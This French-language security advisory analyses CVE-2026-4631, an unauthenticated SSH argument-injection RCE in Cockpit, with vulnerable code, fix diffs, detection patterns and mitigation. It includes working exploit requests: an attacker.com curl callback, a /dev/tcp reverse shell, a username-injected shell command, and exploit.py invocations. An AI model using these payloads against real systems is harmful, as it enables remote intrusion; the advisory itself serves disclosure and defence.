
Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH
| Champ | Détail |
|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Sévérité | Critique (CVSS 9.8) |
| Versions affectées | Cockpit 327 – 359 |
| Corrigé dans | Cockpit 360 |
| CWE | CWE-78 : Injection de commande système |
| Authentification requise | NON |
| Signalé par | Jelle van der Waa |
La fonctionnalité de connexion à distance de Cockpit transmet les noms d'hôte fournis par l'utilisateur (depuis le chemin de l'URL) et les noms d'utilisateur (depuis l'en-tête Authorization: Basic) directement au binaire OpenSSH ssh sans aucune validation ni assainissement.
Un attaquant non authentifié ayant un accès réseau au port 9090 peut élaborer une seule requête HTTP qui :
-oProxyCommand=<cmd>)%r de SSHLes deux points d'injection se déclenchent avant la fin de la vérification des identifiants, ce qui signifie qu'aucune connexion valide n'est requise.

Avant la version 327, Cockpit utilisait un binaire C dédié appelé cockpit-ssh (basé sur libssh) pour les connexions à distance. À partir de la version 327, celui-ci a été remplacé par :
python3 -m cockpit.beiboot
qui invoque le client OpenSSH ssh du système. Ce changement a introduit la vulnérabilité car le nouveau chemin de code transmet des valeurs contrôlées par l'utilisateur directement à ssh sans assainissement.
-- avant le nom d'hôteLe client SSH interprète les arguments commençant par - comme des options, et non comme un nom d'hôte, à moins qu'un séparateur -- ne les précède. Sans --, tout nom d'hôte commençant par - est analysé comme un drapeau SSH.
Construction vulnérable :
ssh [options] <nom-hôte> <commande-distance>
Construction sûre :
ssh [options] -- <nom-hôte> <commande-distance>
Ni cockpit-ws (code C) ni cockpit.beiboot (code Python) ne valident ni n'assainissent :
Authorization: Basicargparse (CPython #66623)Un bug CPython connu fait que argparse gère mal les arguments commençant par - qui contiennent également des espaces, les traitant comme des arguments positionnels plutôt que comme des drapeaux. Cela permet à un nom d'hôte -oProxyCommand=commande malveillante de traverser l'analyse des arguments Python et d'atteindre ssh comme une option.
src/cockpit/beiboot.py — Point d'injection principalC'est le fichier le plus critique. La fonction via_ssh() construit la liste d'arguments de la commande SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Construire une commande ssh pour exécuter `cmd` sur `dest`."""
# Analyser le port optionnel depuis dest (ex. "hôte:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Supprimer les crochets IPv6
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNÉRABLE : Pas de '--' avant l'hôte
# Si host = "-oProxyCommand=evil", ssh le traite comme une option
destination = ['-p', port, host]
else:
# VULNÉRABLE : Entrée brute de l'attaquant transmise directement à ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Avec dest = "-oProxyCommand=curl http://attacker.com/id" :
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← option cockpit
arg2: -oProxyCommand=curl http://... ← ANALYSÉE COMME OPTION SSH (pas un hôte)
arg3: python3 -ic '# cockpit-bridge' ← devient le "nom d'hôte" → déclenche ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# CORRIGÉ : '--' force tout ce qui suit à être positionnel
destination = ['-p', port, '--', host]
else:
# CORRIGÉ : séparateur '--' ajouté
destination = ['--', dest]
src/ws/cockpitauth.c — Couche C : Extraction du nom d'hôteCe fichier C gère l'analyse initiale de la requête HTTP et lance le processus beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extrait tout ce qui suit "cockpit+=" du chemin de l'URL
// Aucune validation des caractères — tirets, caractères spéciaux autorisés
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Le nom d'hôte retourné est transmis directement comme argument lors du lancement de beiboot :
// cockpit_ws_ssh_program est le modèle de commande de lancement
// VULNÉRABLE : nom d'hôte ajouté sans assainissement
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// Pas de '--' final signifie que le nom d'hôte peut être
// analysé comme un drapeau par argparse de Python (CPython #66623)
// CORRIGÉ : '--' final garantit que le nom d'hôte est toujours positionnel
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Décode Authorization: Basic base64(utilisateur:motdepasse)
// Aucune validation de 'user' — points-virgules, caractères spéciaux autorisés
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' est transmis dans les identifiants et finalement à 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // non assaini
...);
}
vendor/ferny/src/ferny/session.py — Troisième point d'injectionLa bibliothèque ferny incluse (utilisée pour l'interaction SSH) présente la même omission de -- dans son appel de sous-processus.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE n'est pas généralement disponible, donc utiliser setsid
process = await asyncio.create_subprocess_exec(
# VULNÉRABLE : chemin codé en dur + pas de '--' avant la destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# CORRIGÉ : recherche PATH au lieu du chemin codé en dur + '--' ajouté
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — Chemin de déploiement en conteneurCe script est la commande d'authentification utilisée dans les déploiements Cockpit basés sur Docker/conteneurs.
#!/usr/bin/env python3
import os, sys
# Extraire l'hôte de l'environnement
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNÉRABLE : même cause racine — hôte transmis non assaini à beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
C'est un point d'entrée séparé du chemin principal beiboot.py, ce qui signifie que les déploiements en conteneur de Cockpit sont indépendamment vulnérables même si le chemin de code principal est corrigé.
Condition préalable : OpenSSH < 9.6 sur l'hôte Cockpit (OpenSSH 9.6 a introduit une validation précoce du nom d'hôte qui bloque les métacaractères shell).
Requête HTTP :
GET /cockpit+=-oProxyCommand=<COMMANDE>/login HTTP/1.1
Host: <cible>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Authorization décodé : invalid:invalid — n'importe quelle valeur fonctionne.
Comment cela fonctionne :
-oProxyCommand=<COMMANDE> du chemin de l'URL comme "nom d'hôte"via_ssh() de beiboot construit : ssh -oProxyCommand=<COMMANDE> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMANDE> comme une option (pas un hôte)python3 -ic '# cockpit-bridge' comme nom d'hôte<COMMANDE> comme ProxyCommand lors de la connexion à ce "nom d'hôte"<COMMANDE> s'exécute comme l'utilisateur du processus cockpit-wsExemple — Rappel OOB :
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
ProxyCommand décodé : curl http://attacker.com/id``
Exemple — Shell inversé :
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
ProxyCommand décodé : bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%rCondition préalable : Le ssh_config de la cible contient une directive Match exec utilisant le jeton %r (nom d'utilisateur distant).
Exemple de ssh_config vulnérable :
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
Requête HTTP :
GET /cockpit+=hôte-légitime/login HTTP/1.1
Host: <cible>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Authorization décodé : x; touch /tmp/pwned; #:invalid
Nom d'utilisateur extrait : x; touch /tmp/pwned; #
Comment cela fonctionne :
%r avec le nom d'utilisateur avant d'exécuter la commande Match exec/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned, puis ignore le reste
Le correctif est minimal — ajout de -- (le séparateur POSIX de fin d'options) avant l'argument de destination à chaque endroit où SSH est invoqué.
src/cockpit/beiboot.py (commit 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (commit 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (commit 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- corrige le problèmeLe jeton -- indique aux analyseurs d'arguments (à la fois argparse de Python et l'analyseur d'options d'OpenSSH) que tous les jetons suivants sont des arguments positionnels, et non des options. Après --, une valeur comme -oProxyCommand=evil est traitée comme une chaîne de nom d'hôte littérale, que SSH rejette ensuite comme invalide — elle n'exécute jamais rien.
Recherchez les requêtes HTTP vers le point de terminaison de connexion de Cockpit où le composant de chemin contient une syntaxe d'option SSH :
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Surveillez spécifiquement :
-oProxyCommand= dans le chemin de l'URL (Vecteur 1)Authorization: Basic (Vecteur 2)# Vérifier le lancement de beiboot avec des arguments suspects
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Vérifier les invocations SSH depuis l'utilisateur cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"
# Vérifier si la version installée est vulnérable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnérable si la version est entre 327 et 359 inclus
rpm -q cockpit-ws
# La même vérification de version s'applique
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Ajoutez à /etc/cockpit/cockpit.conf :
[WebService]
LoginTo = false
Cela désactive entièrement la fonctionnalité de connexion à distance, empêchant le chemin de code beiboot d'être déclenché.
| Ressource | URL |
|---|---|
| Divulgation OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Avis de sécurité GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Problème Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Commit de correctif (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Commit de correctif (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Bug argparse CPython | https://github.com/python/cpython/issues/66623 |
| Validation du nom d'hôte OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |